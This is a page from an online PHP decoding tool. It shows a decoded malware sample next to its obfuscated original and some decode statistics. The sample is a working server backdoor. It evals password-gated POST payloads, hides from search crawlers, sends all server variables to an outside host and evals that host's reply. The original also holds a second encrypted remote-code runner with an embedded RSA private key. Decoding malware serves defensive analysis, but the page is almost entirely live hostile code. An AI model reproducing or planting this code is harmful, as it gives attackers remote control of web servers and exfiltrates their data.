Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /*457563643*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',..
Decoded Output download
if(md5($_POST["pf"]) === "93ad003d7fc57aae938ba483a65ddf6d") { eval(base64_decode($_POST["cookies_p"])); }
if (strpos($_SERVER['REQUEST_URI'], "post_render" ) !== false) { $patchedfv = "GHKASMVG"; }
if( isset( $_REQUEST['fdgdfgvv'] ) ) { if(md5($_REQUEST['fdgdfgvv']) === "93ad003d7fc57aae938ba483a65ddf6d") { $patchedfv = "SDFDFSDF"; } }
if($patchedfv === "GHKASMVG" ) { @ob_end_clean(); die; }
if (strpos($_SERVER["HTTP_USER_AGENT"], "Win" ) === false) { $kjdke_c = 1; }
error_reporting(0);
if(!$kjdke_c) { global $kjdke_c; $kjdke_c = 1;
global $include_test; $include_test = 1;
$bkljg=$_SERVER["HTTP_USER_AGENT"];
$ghfju = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "bot", "spid", "Lynx", "PHP", "WordPress". "integromedb","SISTRIX","Aggregator", "findlinks", "Xenu", "BacklinkCrawler", "Scheduler", "mod_pagespeed", "Index", "ahoo", "Tapatalk", "PubSub", "RSS", "WordPress");
if( !($_GET['df'] === "2") and !($_POST['dl'] === "2" ) and ((preg_match("/" . implode("|", $ghfju) . "/i", $bkljg)) or (@$_COOKIE['condtions']) or (!$bkljg) or ($_SERVER['HTTP_REFERER'] === "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']) or ($_SERVER['REMOTE_ADDR'] === "127.0.0.1") or ($_SERVER['REMOTE_ADDR'] === $_SERVER['SERVER_ADDR']) or ($_GET['df'] === "1") or ($_POST['dl'] === "1" )))
{}
else
{
foreach($_SERVER as $ndbv => $cbcd) { $data_nfdh.= "&REM_".$ndbv."='".base64_encode($cbcd)."'";}
$context_jhkb = stream_context_create(
array('http'=>array(
'timeout' => '15',
'header' => "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:10.0.9) Gecko/20100101 Firefox/10.0.9_ Iceweasel/10.0.9
Connection: Close
",
'method' => 'POST',
'content' => "REM_REM='1'".$data_nfdh
)));
$vkfu=file_get_contents("http://nortservis.net/session.php?id", false ,$context_jhkb);
if($vkfu) { eval($vkfu); } else {ob_start(); if(!@headers_sent()) { @setcookie("condtions","2",time()+172800); } else { echo "<script>document.cookie='condtions=2; path=/; expires=".date('D, d-M-Y H:i:s',time()+172800)." GMT;';</script>"; } ;};
}
}
Did this file decode correctly?
Original Code
<?php /*457563643*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQ0KaWYgKHN0cnBvcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwgInBvc3RfcmVuZGVyIiApICE9PSBmYWxzZSkgeyAkcGF0Y2hlZGZ2ID0gIkdIS0FTTVZHIjsgfQ0KaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10gKSApIHsgaWYobWQ1KCRfUkVRVUVTVFsnZmRnZGZndnYnXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgJHBhdGNoZWRmdiA9ICJTREZERlNERiI7IH0gfQ0KDQppZigkcGF0Y2hlZGZ2ID09PSAiR0hLQVNNVkciICkgeyBAb2JfZW5kX2NsZWFuKCk7ICBkaWU7ICB9DQoNCmlmIChzdHJwb3MoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLCAiV2luIiApID09PSBmYWxzZSkgeyAka2pka2VfYyA9IDE7IH0NCmVycm9yX3JlcG9ydGluZygwKTsNCmlmKCEka2pka2VfYykgeyBnbG9iYWwgJGtqZGtlX2M7ICRramRrZV9jID0gMTsNCmdsb2JhbCAkaW5jbHVkZV90ZXN0OyAkaW5jbHVkZV90ZXN0ID0gMTsNCiRia2xqZz0kX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl07DQokZ2hmanUgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJib3QiLCAic3BpZCIsICJMeW54IiwgIlBIUCIsICJXb3JkUHJlc3MiLiAiaW50ZWdyb21lZGIiLCJTSVNUUklYIiwiQWdncmVnYXRvciIsICJmaW5kbGlua3MiLCAiWGVudSIsICJCYWNrbGlua0NyYXdsZXIiLCAiU2NoZWR1bGVyIiwgIm1vZF9wYWdlc3BlZWQiLCAiSW5kZXgiLCAiYWhvbyIsICJUYXBhdGFsayIsICJQdWJTdWIiLCAiUlNTIiwgIldvcmRQcmVzcyIpOw0KaWYoICEoJF9HRVRbJ2RmJ10gPT09ICIyIikgYW5kICEoJF9QT1NUWydkbCddID09PSAiMiIgKSBhbmQgKChwcmVnX21hdGNoKCIvIiAuIGltcGxvZGUoInwiLCAkZ2hmanUpIC4gIi9pIiwgJGJrbGpnKSkgb3IgKEAkX0NPT0tJRVsnY29uZHRpb25zJ10pICBvciAoISRia2xqZykgb3IgKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA9PT0gImh0dHA6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSBvciAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT09ICIxMjcuMC4wLjEiKSAgb3IgKCRfU0VSVkVSWydSRU1PVEVfQUREUiddID09PSAkX1NFUlZFUlsnU0VSVkVSX0FERFInXSkgb3IgKCRfR0VUWydkZiddID09PSAiMSIpIG9yICgkX1BPU1RbJ2RsJ10gPT09ICIxIiApKSkNCnt9DQplbHNlDQp7DQpmb3JlYWNoKCRfU0VSVkVSIGFzICRuZGJ2ID0+ICRjYmNkKSB7ICRkYXRhX25mZGguPSAiJlJFTV8iLiRuZGJ2LiI9JyIuYmFzZTY0X2VuY29kZSgkY2JjZCkuIiciO30NCiRjb250ZXh0X2poa2IgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoDQphcnJheSgnaHR0cCc9PmFycmF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3RpbWVvdXQnID0+ICcxNScsDQogICAgICAgICAgICAgICAgICAgICAgICAnaGVhZGVyJyA9PiAiVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggaTY4NjsgcnY6MTAuMC45KSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwLjAuOV8gSWNld2Vhc2VsLzEwLjAuOVxyXG5Db25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICdtZXRob2QnID0+ICdQT1NUJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdjb250ZW50JyA9PiAiUkVNX1JFTT0nMSciLiRkYXRhX25mZGgNCikpKTsNCiR2a2Z1PWZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vbm9ydHNlcnZpcy5uZXQvc2Vzc2lvbi5waHA/aWQiLCBmYWxzZSAsJGNvbnRleHRfamhrYik7DQppZigkdmtmdSkgeyBAZXZhbCgkdmtmdSk7IH0gZWxzZSB7b2Jfc3RhcnQoKTsgIGlmKCFAaGVhZGVyc19zZW50KCkpIHsgQHNldGNvb2tpZSgiY29uZHRpb25zIiwiMiIsdGltZSgpKzE3MjgwMCk7IH0gZWxzZSB7IGVjaG8gIjxzY3JpcHQ+ZG9jdW1lbnQuY29va2llPSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsNCiB9DQoNCiB9')); @ini_restore('error_log'); @ini_restore('display_errors'); /*457563643*/ ?><?php define('EALGO','AES-128-CBC');define('CWW_SIG','//CWWSUBSCRIPT//');define('_PRK','LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlDWFFJQkFBS0JnUUNzdHUrTUhhWC9ZYldkZXNnc1l0YnRXY2pDS1YvbTVVNUI3MEZUTHJJNzlxNWJJbzk5CmFPNGpucWxKZks1bTE0ZVdxODFlVmtjUmN4RnpkWkljYzBmcTVXZVhsdEVaVkQwNVdLTHBJUEdpMXVQNnRtUnMKMWFreFlpN2hDU2lZdnJESzNwM1diZytYUi9sSmtSSnpsMmRyRGlLTHVaL2RKVHJ2cFVUM09rRUxnUUlEQVFBQgpBb0dBYnprdmNtLzFZa3l1QkVmNWVIditKTU5aQVpCYmJmbmxONWkzM0xXSm1ndjFwRUxSWE5XaDVkWmE5alFRCnE3SElZME1uOGNSbDU5ck9OaWhVZTNYUnJXaFMwaFpGL1ZmZXNURmJ2NjdKNlY3QVRtMzFkT250UExnUVNGSDYKYTVncjVkK25Kd1k5UWUzaEVpK0xyVjUwRHp4V1R3Nnc2eEovVEVHeW9XT2dHakVDUVFEU3ZmTDU5OGYxQ0xKUgoyQTIwejRieGVDdGtkeWYxdGFCdGVQTDd1dDlUTWhmeFBzN256U01nZlBNVGY1S1ROejRPVjAzSVVMVzNSWS9pCndFanNBczN6QWtFQTBjNVdwaEdEZHNPeWxCaFNxUC9yMmVrR1NWYWdVNERvTXJpWXRKV3pTaldDVG9PeTcxRXUKTDBlOExHY0JkNndCSVF5Y1JZQ1hibnBYNnJScGRTQzV1d0pBSVRydWUxZ0U0YkJ6WGRCeHFOY29jaDcreUtLNQpYRmM5YXNXdG11QUdvdm05S0w4OHBQU0YyM09ZYUxTdkNpT2wxMkVRMU10VlBBYnQvMVZPcWxodTNRSkJBSzJTCnduYlRxR3A2RHVTY2xzNUFKQlI4eDNtbkZDN2hSN2ltcFpkSS9qSlh3SDFLVVovU0RwNkkvM0hRcWhNaWx6Q0wKYVVISzEvMUxkQzYxb1VXSWxIOENRUUN3TUwyR0JaWlI2SnlRYUJKUUZ4NDlQdDArdllSYXB0TmhLNkhzUGl1YwpQanJuV2JIQlZSay9BcFFDaFA5aWFucS9FTUc0YThUZDZ3c3AxWVp3cjFpWAotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=');$VERSION="0.2.0";$ID=(md5_file(__FILE__)?md5_file(__FILE__):'-').' php-'.PHP_VERSION.'/'.PHP_OS.'/'.$_SERVER['SERVER_SOFTWARE'];error_reporting(-1);@set_time_limit(3600);@ini_set('implicit_flush','On');@ini_set('default_socket_timeout','3600');@ini_set('file_uploads','On');@ini_set('max_execution_time','3600');@ini_set('max_input_time','3600');@ini_set('upload_max_filesize','32M');@ini_set('post_max_size','32M');$_7ba=$_SERVER['REQUEST_METHOD'][0]?$_SERVER['REQUEST_METHOD'][0]: 'P';if($_7ba=='G'){if(isset($_GET['debug'])&&_indbg('./cwwdebug.data',$_GET['debug'])){error_reporting(-1);_prdbg();exit;}}if($_7ba!='P'){_eer(10);}$_abd=false;foreach($_SERVER as $_213=>$_abd){if(strtolower($_213)=='http_x_cww_tag'){$_abd=pack("H*",$_abd);break;}}if($_abd===false)_eer(20);$_016=false;$_e64=openssl_pkey_get_private(array(base64_decode(_PRK),''));openssl_private_decrypt($_abd,$_016,$_e64);if(!$_016)_eer(30);$_78f=preg_match_all('/^([0-9]{10}):([0-9a-f]{32}):([0-9a-f]{32})$/i',$_016,$_73a);if(!$_78f)_eer(40);if($_73a[1][0]<time())_eer(50);$_6a5=array();$_6a5[0]=pack("H*",$_73a[2][0]);$_6a5[1]=pack("H*",$_73a[3][0]);if(eval('return 1;'))$_ef1=1;else if(is_callable('create_function'))$_ef1=2;else if(is_callable('file_put_contents'))$_ef1=3;else _eer(60);$_7f3=array();for($i=9;$i>=0;$i--){$_32c=_udec($_POST[$i],$_7f3[$i]);if($_32c>0)_eer($_32c+70);}if(empty($_7f3[9]))_eer(80);while(@ob_end_clean());$_bda=32;ob_start('_out',2);_eer(0);for($i=0;$i<=9;$i++){if(empty($_7f3[$i]))continue;$_3da=false;switch($_ef1){case 1: if(!eval($_7f3[$i]))$_3da=true;break;case 2: if(!call_user_func(create_function(null,$_7f3[$i])))$_3da=true;break;case 3: $_64f=tempnam(sys_get_temp_dir(),time());if(file_put_contents($_64f,"<?php\n".$_7f3[$i]."\nreturn false;\n?".'>')){if(!(include($_64f)))$_3da=true;unlink($_64f);}else{$_3da=true;}break;}if($_3da)_eer(90+$i);}ob_end_flush();while(@ob_end_flush());exit;function _eer($_216){global $ID,$VERSION;if($_216>0){sleep(1);header("HTTP/1.1 202 $_216");header('Connection: close',true);header("X-Cww-Err: $_216");}else{header('HTTP/1.1 200 OK');}header("X-Cww-Id: $VERSION $ID");header('Cache-Control: must-revalidate');header('Pragma: no-cache');header('Expires: Thu,1 Jan 1970 00:00:01 GMT');flush();if(!$_216)return;exit;}function _dec(&$_c97,&$_12c){global $_6a5;$_12c=openssl_decrypt($_c97,EALGO,$_6a5[0],false,$_6a5[1]);return $_12c||false;}function _enc(&$_379,&$_c97){global $_6a5;$_c97=openssl_encrypt($_379,EALGO,$_6a5[0],false,$_6a5[1]);return $_c97||false;}function _unz(&$_ed9,&$_e68){if(function_exists('gzdecode')){$_e68=gzdecode($_ed9);return $_e68||false;}else if(substr($_ed9,0,3)=="\x1f\x8b\x08"){$i=10;$_5f4=ord(substr($_ed9,3,1));if($_5f4>0){if($_5f4 & 4){list($_2d6)=unpack('v',substr($_ed9,$i,2));$i=$i+2+$_2d6;}if($_5f4 & 8)$i=strpos($_ed9,"\0",$i)+1;if($_5f4 & 16)$i=strpos($_ed9,"\0",$i)+1;if($_5f4 & 2)$i=$i+2;}$_e68=gzinflate(substr($_ed9,$i,-8));return $_e68||false;}return false;}function _udec(&$_c97,&$_12c){if(empty($_c97))return-1;$_ed9=false;if(!_dec($_c97,$_ed9))return 1;if(!_unz($_ed9,$_12c))return 2;$_c13=strpos($_12c,CWW_SIG);if($_c13===false||$_c13!=0)return 3;return 0;}$_829='';$_bd0=0;function _out($_61f,$_996){global $_829,$_bd0,$_bda;$_829.=$_61f;$_bd0++;$_6aa=NULL;if($_829&&($_996||$_bd0>$_bda)){global $_6a5;$_8b5=gzencode($_829);_enc($_8b5,$_6aa,$_6a5[0],$_6a5[1]);$_6aa.="\n";$_bd0=0;$_829=NULL;}return $_6aa;}function _indbg($_b98,$_a09){if($_8df=fopen($_b98,'r')){$_094=fgets($_8df);fclose($_8df);return $_a09==trim($_094);}return false;}function _prdbg(){global $VERSION;echo "<html><pre>\n";echo "OUR VERSION: $VERSION\n\n";echo "GLOBAL VARS:\n";print_r($GLOBALS);$_09a=array('openssl_get_cipher_methods','openssl_pkey_get_private','openssl_private_decrypt','openssl_decrypt','openssl_encrypt','gzdecode','gzencode','gzinflate','create_function','call_user_func','file_put_contents','tempnam',);echo "\n\nAVAILABLE FUNCTIONS:\n";foreach($_09a as $f){echo "$f():\te:".(function_exists($f)+0).',c:'.(is_callable($f)+0)."\n";}echo "\n\nCURRENT DIR AND STATS:\n";echo(getcwd())."\n";print_r(stat('.'));if(is_callable('openssl_get_cipher_methods')){echo "\n\nOPENSSL SUPPORTED METHODS:\n";print_r(openssl_get_cipher_methods());}echo "\n\nTHIS SERVER DATE/TIME:\n";echo(date('r'));if(is_callable('phpinfo')){echo "\n\nPHP INFO:\n";ob_start();phpinfo();$_c4f=ob_get_contents();ob_end_clean();$_c4f=preg_replace('/<[^>]+>/i',"\t",$_c4f);echo "$_c4f\n</pre></html>";}else{echo "\n\nPHP INFO:(func is not callable)\n";}} ?>
Function Calls
| define | 1 |
| ini_set | 3 |
| ini_restore | 2 |
| base64_decode | 1 |
| error_reporting | 1 |
Stats
| MD5 | 5541063d0cd68f7c95b0646ac32d0bad |
| Eval Count | 1 |
| Decode Time | 181 ms |